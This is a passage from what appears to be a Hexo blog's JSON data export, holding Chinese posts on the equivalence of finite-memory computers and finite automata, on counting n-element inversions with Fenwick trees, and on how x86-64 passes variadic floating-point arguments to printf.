计算机的行为由当前状态决定——下一步要执行什么代码，取决于正在被执行的代码段，以及ip寄存器的值，如果text段的内容相同，cs:ip寄存器的相同，指令使用的值也相同，那么下一步的行为就是确定的 对任意一台计算机构造等价的DFA 对于一台确定的计算机可以构造出确定的DFA，执行该计算机可以做的任何计算 先说明一些前置情况： 现实中计算机使用源码处理特定的输入 把现实中计算机处理该输入的源码编码成确定长度（统一取最大长度M——M是该计算机可以存储的最长比特串长度，比如$2^{40}$比特）的字符串，每个字符表示一个指令——这个其实等价于把源码编译成机器码（每个机器指令由一样的长度的比特串表示），然后把这个比特串补全成统一长度M 因为源码是M比特长，所以最多有$2^M$ 种不同的源码，根据上文，可以为每种源码构造一个DFA 然后开始构造DFA 该DFA分为两个部分：第一个部分解释输入的源码字符串，第二个部分实际运行输入的源码来跑输入的数据——即实际运行$2^M$ 个不同的DFA中的一个 DFA第一个部分，其读入长度M的字符串（也就是源码），从而把该台DFA导向某个状态，这个状态是$2^M$ 个实际运行代码的DFA中的一个的起始态 第二部分就是那$2^M$ 台DFA，其接受输入，并最终停在某个状态——accept态或者是其他状态 从而该DFA接受$\\cup A_i$ ，其中$A_i$ 是该计算机可以运行的任意一段代码接受的字符串集合 计算机可以死循环，DFA不会死循环，为什么 consider that，死循环指的是无输入情况下，不停机，而不是无限输入导致的不停机。 因为计算机的状态是有限的，所以，如果计算机死循环，那么其必然会重复处于某个状态，进而导致行为的重复——因为计算机的当前状态唯一确定了以后的行为。 在NFA，这种情况死循环的状况也会发生——一组状态以$\\varepsilon$ 连接在一起形成环，从而导致无限读入$\\varepsilon$ ，无限循环 截断导致NFA死循环的那个环，并不会影响接受的语言。假设该环是s1、s2、s3、s1，那么我们可以把其变成三条路：“s1、s2、s3”，“s2、s3、s1”，“s3、s1、s2” ，非形式化来说，因为这不会改变该图的连通性，所以接受的字符串集合不变 而按照Introduction to the Theory of Computation 的1.2节的EQUIVALENCE OF NFAS AND DFASDFA 描述的方法，其正是去掉了这种$\\varepsilon$ 环，所以不会死循环，具体去掉的方法如下（截图来自书本英文第三版P56）： $E(R)$ 是一个集合，集合中元素不重复，而$\\varepsilon$ 环所到达的状态必然是重复的，所以就把$\\varepsilon$ 环断开了","raw":"---\ntitle: 有限存储的计算机等价于有限自动机（DFA、NFA）\ntoc: false\ncomments: true\nmathjax: true\ndate: 2018-05-11 16:13:18\ntags:\n- DFA\n- NFA\n- 有限自动机\n- 计算理论\ndescription: 区别于图灵机的无限纸带，现实的计算机只有有限存储，所以其不是TM，而是DFA/NFA\ncategories:\n- 计算理论\n\n---\n\n### $B=\\\\{0^n1^n|n\\ge0\\\\}$ \n\n- Michael Sipser 的 *Introduction to the Theory of Computation* 的1.4提到一个非正则语言的例子，$B=\\\\{0^n1^n|n\\ge0\\\\}$ ，并用Pumping lemma证明了其是非正则的，无法被DFA识别\n- 但是我们的计算机似乎可以识别以上语言，所以，为什么我们的计算机还是DFA呢\n- 事实上，我们的计算机只能识别n处于一定范围的B，而不能识别n为任意值的B。如果n过大，我们的计算机的存储单元无法表达，则会发生溢出，导致识别了另一个语言 $C=\\\\{0^n1^m|n\\ mod\\ max=m\\ mod\\ max\\\\}$ ，其中，max是我们的计算机的存储单元可以表达的最大值\n- 如果是n处于一定范围内，容易构造出一台DFA识别B：\n - 设有两个变量a、b，a、b都可以取值$[0,1000]$ ，a表示0的数量，b表示1的数量\n - 那么，a、b的所有笛卡尔积组成的集合的一个子集就是该DFA的状态集\n - 转移方程为\n - 首先： $<0,0>\\rightarrow<1,0>\\rightarrow<2,0>\\rightarrow...\\rightarrow<1000,0>$\n - 然后：从任意$<n,0>$ 都可以转移到 $<n,1>$\n - 然后：一旦转移到 $<n,1>$ ，就不能转移到 $<n+k,m>, (k>0)$ ，也就是不能增长n的值\n - 最后：一旦转移到 $<n, n>$ 就accept\n\n### 为什么现实中的计算机有可能是DFA\n\n- 计算机只有有限存储，such as，某计算机有$2^{32}$ 个8bit的cell，每个cell有 $2^8$ 种取值，所以，所有存储的取值有 $(2^8)^{2^{32}}$ 种，也就是，这台计算机的存储只能有 $(2^8)^{2^{32}}$ 种状态，这就使得把计算机转为DFA变为可能\n\n### 对任意一段代码构造等价的NFA\n\n##### NFA构造方法描述\n\n- 假设该段代码的运行过程会改变的存储cell有c1、c2、c3、c4、c5，其中，c1到c5的取值范围都是[0,0xFF]，那么就可以构造$(2^8)^5$ 个$<c1,c2,c3,c4,c5>$ ，作为该NFA的状态集合。（注意，cs:ip 寄存器的值必然是这五个cell中的一个）\n\n\n- 输入字符表是$\\\\{0,1\\\\}$ ，将所有计算机接受的输入全部编码成bit 串后读入该DFA，每次读一个0或者一个1。\n\n\n- 假设该代码起始时，c1到c5的取值为$0,0,0,0,0$ ，则$<0,0,0,0,0>$ 就是起始态\n- 假设该段代码处于accept状态时，c1到c5的取值分别为$1,2,3,4,5$ ，那么，$<1,2,3,4,5>$ 就是该NFA的accept state\n- 该代码可以有输入，也可以无输入，可以在多个时候输入，也可以只在一个时候输入。假设其某次输入处于$<d1,d2,d3,d4,d5>$ ，输入后处于 $<d6,d7,d8,d9,d10>$ ，则在从$<d1,d2,d3,d4,d5>$ 到 $<d6,d7,d8,d9,d10>$ 是一个转移，转移使用的字符就是读入的字符。该代码也可以在无输入情况下由cpu作用，从一个状态转移到另一个状态，则在这两个状态之间使用$\\varepsilon$ \n\n##### 为什么该NFA只接受允许的字符串，而不会接受多余的字符串\n\n- 首先，可以使用以上方法对于每个接受的字符串都构造NFA，则该NFA只接受允许的那个字符串\n- 设置一个新的起始态，该起始态有$\\varepsilon$ 到所有为每个字符串构造的NFA\n- 则最终的NFA只接受允许的字符串\n\n##### 是否会出现情况：代码两次处于某状态但是行为不一样\n\n- 答案是肯定不会\n- 计算机的行为由当前状态决定——下一步要执行什么代码，取决于正在被执行的代码段，以及ip寄存器的值，如果text段的内容相同，cs:ip寄存器的相同，指令使用的值也相同，那么下一步的行为就是确定的\n\n### 对任意一台计算机构造等价的DFA\n\n- 对于一台确定的计算机可以构造出确定的DFA，执行该计算机可以做的任何计算\n- 先说明一些前置情况：\n - 现实中计算机使用源码处理特定的输入\n - 把现实中计算机处理该输入的源码编码成确定长度（统一取最大长度M——M是该计算机可以存储的最长比特串长度，比如$2^{40}$比特）的字符串，每个字符表示一个指令——这个其实等价于把源码编译成机器码（每个机器指令由一样的长度的比特串表示），然后把这个比特串补全成统一长度M\n- 因为源码是M比特长，所以最多有$2^M$ 种不同的源码，根据上文，可以为每种源码构造一个DFA\n- 然后开始构造DFA\n - 该DFA分为两个部分：第一个部分解释输入的源码字符串，第二个部分实际运行输入的源码来跑输入的数据——即实际运行$2^M$ 个不同的DFA中的一个\n - DFA第一个部分，其读入长度M的字符串（也就是源码），从而把该台DFA导向某个状态，这个状态是$2^M$ 个实际运行代码的DFA中的一个的起始态\n - 第二部分就是那$2^M$ 台DFA，其接受输入，并最终停在某个状态——accept态或者是其他状态\n- 从而该DFA接受$\\cup A_i$ ，其中$A_i$ 是该计算机可以运行的任意一段代码接受的字符串集合\n\n### 计算机可以死循环，DFA不会死循环，为什么\n\n- consider that，死循环指的是无输入情况下，不停机，而不是无限输入导致的不停机。\n\n\n- 因为计算机的状态是有限的，所以，如果计算机死循环，那么其必然会重复处于某个状态，进而导致行为的重复——因为计算机的当前状态唯一确定了以后的行为。\n\n- 在NFA，这种情况死循环的状况也会发生——一组状态以$\\varepsilon$ 连接在一起形成环，从而导致无限读入$\\varepsilon$ ，无限循环\n\n- 截断导致NFA死循环的那个环，并不会影响接受的语言。假设该环是s1、s2、s3、s1，那么我们可以把其变成三条路：“s1、s2、s3”，“s2、s3、s1”，“s3、s1、s2” ，非形式化来说，因为这不会改变该图的连通性，所以接受的字符串集合不变\n\n- 而按照*Introduction to the Theory of Computation* 的1.2节的*EQUIVALENCE OF NFAS AND DFAS*DFA 描述的方法，其正是去掉了这种$\\varepsilon$ 环，所以不会死循环，具体去掉的方法如下（截图来自书本英文第三版P56）：\n\n {% asset_img 1.png %}\n\n $E(R)$ 是一个集合，集合中元素不重复，而$\\varepsilon$ 环所到达的状态必然是重复的，所以就把$\\varepsilon$ 环断开了\n\n","content":"<h3 id=\"B-0-n1-n-n-ge0\"><a href=\"#B-0-n1-n-n-ge0\" class=\"headerlink\" title=\"$B=\\{0^n1^n|n\\ge0\\}$\"></a>$B=\\{0^n1^n|n\\ge0\\}$</h3><ul>\n<li>Michael Sipser 的 <em>Introduction to the Theory of Computation</em> 的1.4提到一个非正则语言的例子，$B=\\{0^n1^n|n\\ge0\\}$ ，并用Pumping lemma证明了其是非正则的，无法被DFA识别</li>\n<li>但是我们的计算机似乎可以识别以上语言，所以，为什么我们的计算机还是DFA呢</li>\n<li>事实上，我们的计算机只能识别n处于一定范围的B，而不能识别n为任意值的B。如果n过大，我们的计算机的存储单元无法表达，则会发生溢出，导致识别了另一个语言 $C=\\{0^n1^m|n\\ mod\\ max=m\\ mod\\ max\\}$ ，其中，max是我们的计算机的存储单元可以表达的最大值</li>\n<li>如果是n处于一定范围内，容易构造出一台DFA识别B：<ul>\n<li>设有两个变量a、b，a、b都可以取值$[0,1000]$ ，a表示0的数量，b表示1的数量</li>\n<li>那么，a、b的所有笛卡尔积组成的集合的一个子集就是该DFA的状态集</li>\n<li>转移方程为<ul>\n<li>首先： $<0,0>\\rightarrow<1,0>\\rightarrow<2,0>\\rightarrow…\\rightarrow<1000,0>$</li>\n<li>然后：从任意$<n,0>$ 都可以转移到 $<n,1>$</li>\n<li>然后：一旦转移到 $<n,1>$ ，就不能转移到 $<n+k,m>, (k>0)$ ，也就是不能增长n的值</li>\n<li>最后：一旦转移到 $<n, n>$ 就accept</li>\n</ul>\n</li>\n</ul>\n</li>\n</ul>\n<h3 id=\"为什么现实中的计算机有可能是DFA\"><a href=\"#为什么现实中的计算机有可能是DFA\" class=\"headerlink\" title=\"为什么现实中的计算机有可能是DFA\"></a>为什么现实中的计算机有可能是DFA</h3><ul>\n<li>计算机只有有限存储，such as，某计算机有$2^{32}$ 个8bit的cell，每个cell有 $2^8$ 种取值，所以，所有存储的取值有 $(2^8)^{2^{32}}$ 种，也就是，这台计算机的存储只能有 $(2^8)^{2^{32}}$ 种状态，这就使得把计算机转为DFA变为可能</li>\n</ul>\n<h3 id=\"对任意一段代码构造等价的NFA\"><a href=\"#对任意一段代码构造等价的NFA\" class=\"headerlink\" title=\"对任意一段代码构造等价的NFA\"></a>对任意一段代码构造等价的NFA</h3><h5 id=\"NFA构造方法描述\"><a href=\"#NFA构造方法描述\" class=\"headerlink\" title=\"NFA构造方法描述\"></a>NFA构造方法描述</h5><ul>\n<li>假设该段代码的运行过程会改变的存储cell有c1、c2、c3、c4、c5，其中，c1到c5的取值范围都是[0,0xFF]，那么就可以构造$(2^8)^5$ 个$<c1,c2,c3,c4,c5>$ ，作为该NFA的状态集合。（注意，cs:ip 寄存器的值必然是这五个cell中的一个）</li>\n</ul>\n<ul>\n<li>输入字符表是$\\{0,1\\}$ ，将所有计算机接受的输入全部编码成bit 串后读入该DFA，每次读一个0或者一个1。</li>\n</ul>\n<ul>\n<li>假设该代码起始时，c1到c5的取值为$0,0,0,0,0$ ，则$<0,0,0,0,0>$ 就是起始态</li>\n<li>假设该段代码处于accept状态时，c1到c5的取值分别为$1,2,3,4,5$ ，那么，$<1,2,3,4,5>$ 就是该NFA的accept state</li>\n<li>该代码可以有输入，也可以无输入，可以在多个时候输入，也可以只在一个时候输入。假设其某次输入处于$<d1,d2,d3,d4,d5>$ ，输入后处于 $<d6,d7,d8,d9,d10>$ ，则在从$<d1,d2,d3,d4,d5>$ 到 $<d6,d7,d8,d9,d10>$ 是一个转移，转移使用的字符就是读入的字符。该代码也可以在无输入情况下由cpu作用，从一个状态转移到另一个状态，则在这两个状态之间使用$\\varepsilon$ </li>\n</ul>\n<h5 id=\"为什么该NFA只接受允许的字符串，而不会接受多余的字符串\"><a href=\"#为什么该NFA只接受允许的字符串，而不会接受多余的字符串\" class=\"headerlink\" title=\"为什么该NFA只接受允许的字符串，而不会接受多余的字符串\"></a>为什么该NFA只接受允许的字符串，而不会接受多余的字符串</h5><ul>\n<li>首先，可以使用以上方法对于每个接受的字符串都构造NFA，则该NFA只接受允许的那个字符串</li>\n<li>设置一个新的起始态，该起始态有$\\varepsilon$ 到所有为每个字符串构造的NFA</li>\n<li>则最终的NFA只接受允许的字符串</li>\n</ul>\n<h5 id=\"是否会出现情况：代码两次处于某状态但是行为不一样\"><a href=\"#是否会出现情况：代码两次处于某状态但是行为不一样\" class=\"headerlink\" title=\"是否会出现情况：代码两次处于某状态但是行为不一样\"></a>是否会出现情况：代码两次处于某状态但是行为不一样</h5><ul>\n<li>答案是肯定不会</li>\n<li>计算机的行为由当前状态决定——下一步要执行什么代码，取决于正在被执行的代码段，以及ip寄存器的值，如果text段的内容相同，cs:ip寄存器的相同，指令使用的值也相同，那么下一步的行为就是确定的</li>\n</ul>\n<h3 id=\"对任意一台计算机构造等价的DFA\"><a href=\"#对任意一台计算机构造等价的DFA\" class=\"headerlink\" title=\"对任意一台计算机构造等价的DFA\"></a>对任意一台计算机构造等价的DFA</h3><ul>\n<li>对于一台确定的计算机可以构造出确定的DFA，执行该计算机可以做的任何计算</li>\n<li>先说明一些前置情况：<ul>\n<li>现实中计算机使用源码处理特定的输入</li>\n<li>把现实中计算机处理该输入的源码编码成确定长度（统一取最大长度M——M是该计算机可以存储的最长比特串长度，比如$2^{40}$比特）的字符串，每个字符表示一个指令——这个其实等价于把源码编译成机器码（每个机器指令由一样的长度的比特串表示），然后把这个比特串补全成统一长度M</li>\n</ul>\n</li>\n<li>因为源码是M比特长，所以最多有$2^M$ 种不同的源码，根据上文，可以为每种源码构造一个DFA</li>\n<li>然后开始构造DFA<ul>\n<li>该DFA分为两个部分：第一个部分解释输入的源码字符串，第二个部分实际运行输入的源码来跑输入的数据——即实际运行$2^M$ 个不同的DFA中的一个</li>\n<li>DFA第一个部分，其读入长度M的字符串（也就是源码），从而把该台DFA导向某个状态，这个状态是$2^M$ 个实际运行代码的DFA中的一个的起始态</li>\n<li>第二部分就是那$2^M$ 台DFA，其接受输入，并最终停在某个状态——accept态或者是其他状态</li>\n</ul>\n</li>\n<li>从而该DFA接受$\\cup A_i$ ，其中$A_i$ 是该计算机可以运行的任意一段代码接受的字符串集合</li>\n</ul>\n<h3 id=\"计算机可以死循环，DFA不会死循环，为什么\"><a href=\"#计算机可以死循环，DFA不会死循环，为什么\" class=\"headerlink\" title=\"计算机可以死循环，DFA不会死循环，为什么\"></a>计算机可以死循环，DFA不会死循环，为什么</h3><ul>\n<li>consider that，死循环指的是无输入情况下，不停机，而不是无限输入导致的不停机。</li>\n</ul>\n<ul>\n<li><p>因为计算机的状态是有限的，所以，如果计算机死循环，那么其必然会重复处于某个状态，进而导致行为的重复——因为计算机的当前状态唯一确定了以后的行为。</p>\n</li>\n<li><p>在NFA，这种情况死循环的状况也会发生——一组状态以$\\varepsilon$ 连接在一起形成环，从而导致无限读入$\\varepsilon$ ，无限循环</p>\n</li>\n<li><p>截断导致NFA死循环的那个环，并不会影响接受的语言。假设该环是s1、s2、s3、s1，那么我们可以把其变成三条路：“s1、s2、s3”，“s2、s3、s1”，“s3、s1、s2” ，非形式化来说，因为这不会改变该图的连通性，所以接受的字符串集合不变</p>\n</li>\n<li><p>而按照<em>Introduction to the Theory of Computation</em> 的1.2节的<em>EQUIVALENCE OF NFAS AND DFAS</em>DFA 描述的方法，其正是去掉了这种$\\varepsilon$ 环，所以不会死循环，具体去掉的方法如下（截图来自书本英文第三版P56）：</p>\n<img src=\"/2018/05/11/有限存储的计算机等价于有限自动机（DFA、NFA）/1.png\">\n<p>$E(R)$ 是一个集合，集合中元素不重复，而$\\varepsilon$ 环所到达的状态必然是重复的，所以就把$\\varepsilon$ 环断开了</p>\n</li>\n</ul>\n","slug":"有限存储的计算机等价于有限自动机（DFA、NFA）","categories":[{"name":"计算理论","slug":"计算理论","permalink":"https://h-zex.github.io/categories/计算理论/"}],"tags":[{"name":"DFA","slug":"DFA","permalink":"https://h-zex.github.io/tags/DFA/"},{"name":"NFA","slug":"NFA","permalink":"https://h-zex.github.io/tags/NFA/"},{"name":"有限自动机","slug":"有限自动机","permalink":"https://h-zex.github.io/tags/有限自动机/"},{"name":"计算理论","slug":"计算理论","permalink":"https://h-zex.github.io/tags/计算理论/"}]},{"title":"n元逆序对数量求解","date":"2018-03-19T16:05:01.000Z","path":"2018/03/20/n元逆序对数量求解/","text":"以下思路都是针对从小到大排序的序列的逆序对 首先定义什么是逆序对：比如一个序列是从小到大排列的，那么如果$x_i>x_{i+1}>x_{i+2}>…$那么就是逆序对 主要思路是，对于n元逆序对，flag数组中的index表示某个序列中的某个等于index的数，而flag[index]的值表示以这个index结尾的n-1元的逆序对的数量 假设序列有n个数，数的范围是[0, MAX], 首先搞一个int flag[MAX+1], 该数组的所有值初始化为0，还有一个int result[n] 首先看看如何求二元逆序对 从左到右扫描序列，对于序列中位置为i的值x，flag[x]+=1 然后此时，以该x结尾的逆序对的数量就是$\\sum_{j=x+1}^{MAX}flag[j]$，将这个数量记录在result[i] 那么result的数组的和就是逆序对的数量 同样的，在刚才flag[x]+=1的步骤，可以输出后面的数与x组成的序对来输出具体的逆序对 三元组的，我们已经用上面的方法求出二元的result数组(此处将其记为result_2数组)，此时设另外的两个数组int flag_3[MAX+1], int result_3[n]; 同样扫描序列，对于位置为i的数x，取出result_2[i]的值，也就是以该x结尾的二元组逆序对的数量m，然后flag_3[x]+=m。此时flag_3[x]记录了截止目前，以x结尾的二元组逆序对的数量 求$\\sum_{j=x+1}^{MAX}flag_3[j]$，得到以x结尾的三元组逆序对的数量，记录在result_3[i]中 到最后，result_3就是结果 更多元组的也如此思路 这是利用数组记录了当前已经有的数，然后新加入的数如果不是该数组中当前index最大的，那么意味着其比之前加入的一些数小，这就形成了逆序对 对于n元逆序对，同理，数组记录了当前已有的数x作为最后一个元素是x的n-1元逆序对的逆序对的数量，然后如果我们往该数组加入一个数，然后这个数不是index最大的，那么其比之前已经加入的一些数小，从而与比他大的数代表的n-1元逆序对形成了更长的逆序对 然后，既然这其中，对数组求和很重要，我们就可以利用树状数组优化这个往flag[x]中增加数值然后求和计算出对应result[i]的过程（原始序对中第i位的值是x） 3p另一种思路：针对三元逆序对，还有一种简单的解法，先把数据按顺序插入，用树形数组记录此时比这个数大的数的数目x，再把数据倒着插入，用另一个树形数组记录此时比这个数小的数的数目y，x*y=以这个数为中心的三元逆数对数目，把各个数计算累计起来即可（来自17级大佬Potatso）","raw":"---\ntitle: n元逆序对数量求解\ntoc: false\ncomments: true\nmathjax: true\ndate: 2018-03-20 00:05:01\ntags:\n- 算法\n- 树状数组\ndescription: n元逆序对数量求解并利用树状数组优化\ncategories:\n- 算法\n---\n\n> 以下思路都是针对从小到大排序的序列的逆序对\n\n- 首先定义什么是逆序对：比如一个序列是从小到大排列的，那么如果$x_i>x_{i+1}>x_{i+2}>...$那么就是逆序对\n- 主要思路是，对于n元逆序对，flag数组中的index表示某个序列中的某个等于index的数，而flag[index]的值表示以这个index结尾的n-1元的逆序对的数量\n- 假设序列有n个数，数的范围是[0, MAX], 首先搞一个int flag[MAX+1], 该数组的所有值初始化为0，还有一个int result[n]\n- 首先看看如何求二元逆序对\n - 从左到右扫描序列，对于序列中位置为`i`的值`x`，flag[x]+=1\n - 然后此时，以该x结尾的逆序对的数量就是$\\sum_{j=x+1}^{MAX}flag[j]$，将这个数量记录在result[i]\n - 那么result的数组的和就是逆序对的数量\n - 同样的，在刚才flag[x]+=1的步骤，可以输出后面的数与x组成的序对来输出具体的逆序对\n- 三元组的，我们已经用上面的方法求出二元的result数组(此处将其记为result\\_2数组)，此时设另外的两个数组int flag\\_3[MAX+1], int result_3[n];\n - 同样扫描序列，对于位置为`i`的数`x`，取出result\\_2[i]的值，也就是以该x结尾的二元组逆序对的数量m，然后flag_3[x]+=m。此时flag\\_3[x]记录了截止目前，以x结尾的二元组逆序对的数量\n - 求$\\sum_{j=x+1}^{MAX}flag\\_3[j]$，得到以x结尾的三元组逆序对的数量，记录在result_3[i]中\n - 到最后，result_3就是结果\n- 更多元组的也如此思路\n- 这是利用数组记录了当前已经有的数，然后新加入的数如果不是该数组中当前index最大的，那么意味着其比之前加入的一些数小，这就形成了逆序对\n- 对于n元逆序对，同理，数组记录了当前已有的数`x`作为`最后一个元素是x的n-1元逆序对`的逆序对的数量，然后如果我们往该数组加入一个数，然后这个数不是index最大的，那么其比之前已经加入的一些数小，从而与`比他大的数代表的n-1元逆序对`形成了更长的逆序对\n- 然后，既然这其中，对数组求和很重要，我们就可以利用树状数组优化这个往flag[x]中增加数值然后求和计算出对应result[i]的过程（原始序对中第`i`位的值是`x`）\n\n> 3p另一种思路：针对三元逆序对，还有一种简单的解法，先把数据按顺序插入，用树形数组记录此时比这个数大的数的数目x，再把数据倒着插入，用另一个树形数组记录此时比这个数小的数的数目y，x*y=以这个数为中心的三元逆数对数目，把各个数计算累计起来即可（来自17级大佬Potatso）\n","content":"<blockquote>\n<p>以下思路都是针对从小到大排序的序列的逆序对</p>\n</blockquote>\n<ul>\n<li>首先定义什么是逆序对：比如一个序列是从小到大排列的，那么如果$x_i>x_{i+1}>x_{i+2}>…$那么就是逆序对</li>\n<li>主要思路是，对于n元逆序对，flag数组中的index表示某个序列中的某个等于index的数，而flag[index]的值表示以这个index结尾的n-1元的逆序对的数量</li>\n<li>假设序列有n个数，数的范围是[0, MAX], 首先搞一个int flag[MAX+1], 该数组的所有值初始化为0，还有一个int result[n]</li>\n<li>首先看看如何求二元逆序对<ul>\n<li>从左到右扫描序列，对于序列中位置为<code>i</code>的值<code>x</code>，flag[x]+=1</li>\n<li>然后此时，以该x结尾的逆序对的数量就是$\\sum_{j=x+1}^{MAX}flag[j]$，将这个数量记录在result[i]</li>\n<li>那么result的数组的和就是逆序对的数量</li>\n<li>同样的，在刚才flag[x]+=1的步骤，可以输出后面的数与x组成的序对来输出具体的逆序对</li>\n</ul>\n</li>\n<li>三元组的，我们已经用上面的方法求出二元的result数组(此处将其记为result_2数组)，此时设另外的两个数组int flag_3[MAX+1], int result_3[n];<ul>\n<li>同样扫描序列，对于位置为<code>i</code>的数<code>x</code>，取出result_2[i]的值，也就是以该x结尾的二元组逆序对的数量m，然后flag_3[x]+=m。此时flag_3[x]记录了截止目前，以x结尾的二元组逆序对的数量</li>\n<li>求$\\sum_{j=x+1}^{MAX}flag_3[j]$，得到以x结尾的三元组逆序对的数量，记录在result_3[i]中</li>\n<li>到最后，result_3就是结果</li>\n</ul>\n</li>\n<li>更多元组的也如此思路</li>\n<li>这是利用数组记录了当前已经有的数，然后新加入的数如果不是该数组中当前index最大的，那么意味着其比之前加入的一些数小，这就形成了逆序对</li>\n<li>对于n元逆序对，同理，数组记录了当前已有的数<code>x</code>作为<code>最后一个元素是x的n-1元逆序对</code>的逆序对的数量，然后如果我们往该数组加入一个数，然后这个数不是index最大的，那么其比之前已经加入的一些数小，从而与<code>比他大的数代表的n-1元逆序对</code>形成了更长的逆序对</li>\n<li>然后，既然这其中，对数组求和很重要，我们就可以利用树状数组优化这个往flag[x]中增加数值然后求和计算出对应result[i]的过程（原始序对中第<code>i</code>位的值是<code>x</code>）</li>\n</ul>\n<blockquote>\n<p>3p另一种思路：针对三元逆序对，还有一种简单的解法，先把数据按顺序插入，用树形数组记录此时比这个数大的数的数目x，再把数据倒着插入，用另一个树形数组记录此时比这个数小的数的数目y，x*y=以这个数为中心的三元逆数对数目，把各个数计算累计起来即可（来自17级大佬Potatso）</p>\n</blockquote>\n","slug":"n元逆序对数量求解","categories":[{"name":"算法","slug":"算法","permalink":"https://h-zex.github.io/categories/算法/"}],"tags":[{"name":"算法","slug":"算法","permalink":"https://h-zex.github.io/tags/算法/"},{"name":"树状数组","slug":"树状数组","permalink":"https://h-zex.github.io/tags/树状数组/"}]},{"title":"printf的一个异常现象引发的对x86-64体系下可变参数传参的探究","date":"2018-01-19T03:31:36.000Z","path":"2018/01/19/printf的一个异常现象引发的对x86-64体系下可变参数传参的探究/","text":"测试环境 12345clang version 3.8.1-24 (tags/RELEASE_381/final)Target: x86_64-pc-linux-gnuThread model: posixLinux version 4.9.0-deepin13-amd64 ([email protected]) (gcc version 6.3.0 20170321 (Debian 6.3.0-11) ) #1 SMP PREEMPT Deepin 4.9.57-1 (2017-10-19) 奇异现象复现 代码 1234567#include <stdio.h>int main(){ double a = 6.0; printf(\"%lx\\n\" , a);} 执行结果 这段代码用的运行结果是随机的，无规律的，这是非常奇怪的 先说原因 printf因为使用的格式化字符串是”%lx”所以从通用目的寄存器读取可变参数，但是 a 因为是double类型，所以放在xmm0寄存器。 分析 先看glibc-2.26中stdio-common/printf.c的源码 123456789101112int__printf (const char *format, ...){ va_list arg; int done; va_start (arg, format); done = vfprintf (stdout, format, arg); va_end (arg); return done;} 可以看到，使用的是stdarg的机制实现可变参数传参。 如果可变参数完全使用栈帧传递，那么结果不可能是随机的。那么只可能是使用寄存器传参 复习一下CSAPP第三章 可以看到，浮点参数的传参使用的是SIMD寄存器，而整形使用的是通用目的寄存器 那么猜测，这应该是问题所在。printf因为使用的格式化字符串是”%lx”所以从通用目的寄存器读取可变参数，但是 a 因为是double类型，所以放在xmm0寄存器。 GDB调试 使用 clang -S d.c && clang d.s -g命令编译上面那段问题代码。这样我们就可以在gdb里针对汇编指令设置断点 main函数部分汇编代码 12345678subq $16, %rspmovabsq $.L.str, %rdi # .L.str就是"%lx\\n"movsd .LCPI0_0, %xmm0 # 字面量的浮点放在内存，.LCPI0_0引用的就是 double 类型的 6.0movsd %xmm0, -8(%rbp)movsd -8(%rbp), %xmm0 movb $1, %alcallq printf 可以看到，double a 确实放在了xmm0, 用GDB在 callq printf 处设置断点(注意，运行到断点处，callq printf指令还没有执行)，检查用于传参的前四个通用目的寄存器 （红框内是前四个传参的通用目的寄存器） 执行gdb 的next指令 ，运行callq printf这条指令，检查输出 可以看到，与rsi寄存器的内容一样。可以初步确认，因为格式字符串是”%lx”，所以printf在通用目的寄存器读取可变参数 手动修改汇编代码，在callq printf之前加上一条movq $16, %rsi（注意，此处是十进制，而printf使用的格式字符串是”%lx”，所以程序输出的是十六进制） 1234567movabsq $.L.str, %rdimovsd .LCPI0_0, %xmm0 # xmm0 = mem[0],zeromovsd %xmm0, -8(%rbp)movsd -8(%rbp), %xmm0 # xmm0 = mem[0],zeromovb $1, %almovq $16, %rsi # 这一条就是加上去的callq printf 运行，结果是 符合预期，与rsi寄存器的东西一样 分析结果得到证实 探究过程出现的一些问题 在不合时宜的时刻检查寄存器的值 执行完callq printf后才检查xmm0、xmm1的内容，企图找到double a 执行完callq printf后才检查rdi、rsi的值。 因为printf函数会使用这些寄存器，所以这样检查必然是不行的 关于vc++的一些补充 Visual Studio 2015的参数传递文档 注意：这里的b不是在xmm0，而是在xmm1，d也是如此 Visual Studio 2015 的 Varargs文档 如果参数是通过 vararg（例如省略号参数）传递的，则基本上会应用正常的参数传递过程，包括溢出第五个及后续参数。 此外，被调用方的责任是转储采用其地址的参数。仅处理浮点值时，如果被调用方要使用整数寄存器中的值，整数寄存器和浮点寄存器才会同时包含浮点值 if parameters are passed via varargs (for example, ellipsis arguments), then essentially the normal parameter passing applies including spilling the fifth and subsequent arguments. It is again the callee’s responsibility to dump arguments that have their address taken. For floating-point values only, both the integer and the floating-point register will contain the float value in case the callee expects the value in the integer registers. 按照我的理解，加粗部分应该是说，如果实参里有integer也有float-point，那么我们在整形寄存器也可以读取到对应序号的浮点寄存器的值，比如test(3, 2.0, 1)，那么2.0既存在于RDX，也存在于XMM1， 1既存在于R8，也存在于xmm2。这样，我们使用stdarg的va_arg(ap, long long)读取第二个参数2.0时，就不会出错。如果是gcc，就会出错，因为gcc并不会把浮点放在整形寄存器。 这应该是微软为了兼容以前的老代码，以前可变参都是放在栈上，所以改变va_arg的第二个实参type也不会读错，只会形成强制类型转换。（由于手头没有vc++的编译器，只能借助跟师兄的远程合作来探究，所以这里只有部分猜测被证实，读者可以自己测试一下是否在对应序号的整形寄存器和浮点寄存器存在相同的内容）","raw":"---\ntitle: printf的一个异常现象引发的对x86-64体系下可变参数传参的探究\ntoc: false\ncomments: true\nmathjax: true\ndate: 2018-01-19 11:31:36\ntags:\n- printf\n- 操作系统\n- 底层\n- CSAPP\ndescription: x86-64体系下的传参方式使得可变参数的传递出现了一些特别的情况\ncategories:\n- CSAPP\n---\n\n### 测试环境\n\n ```\nclang version 3.8.1-24 (tags/RELEASE_381/final)\nTarget: x86_64-pc-linux-gnu\nThread model: posix\n\nLinux version 4.9.0-deepin13-amd64 ([email protected]) (gcc version 6.3.0 20170321 (Debian 6.3.0-11) ) #1 SMP PREEMPT Deepin 4.9.57-1 (2017-10-19)\n ```\n\n### 奇异现象复现\n\n- 代码\n\n ```c\n\n #include <stdio.h>\n int main()\n {\n double a = 6.0;\n printf(\"%lx\\n\"\t, a);\n }\n ```\n\n- 执行结果\n\n {% asset_img p6.png %}\n\n- 这段代码用的运行结果是随机的，无规律的，这是非常奇怪的\n\n### 先说原因\n\n- printf因为使用的格式化字符串是\"%lx\"所以从通用目的寄存器读取可变参数，但是 `a` 因为是double类型，所以放在xmm0寄存器。\n\n### 分析\n\n- 先看glibc-2.26中`stdio-common/printf.c`的源码\n\n ```c\n int\n __printf (const char *format, ...)\n {\n va_list arg;\n int done;\n\n va_start (arg, format);\n done = vfprintf (stdout, format, arg);\n va_end (arg);\n\n return done;\n }\n ```\n\n- 可以看到，使用的是stdarg的机制实现可变参数传参。\n\n- 如果可变参数完全使用栈帧传递，那么结果不可能是随机的。那么只可能是使用寄存器传参\n\n- 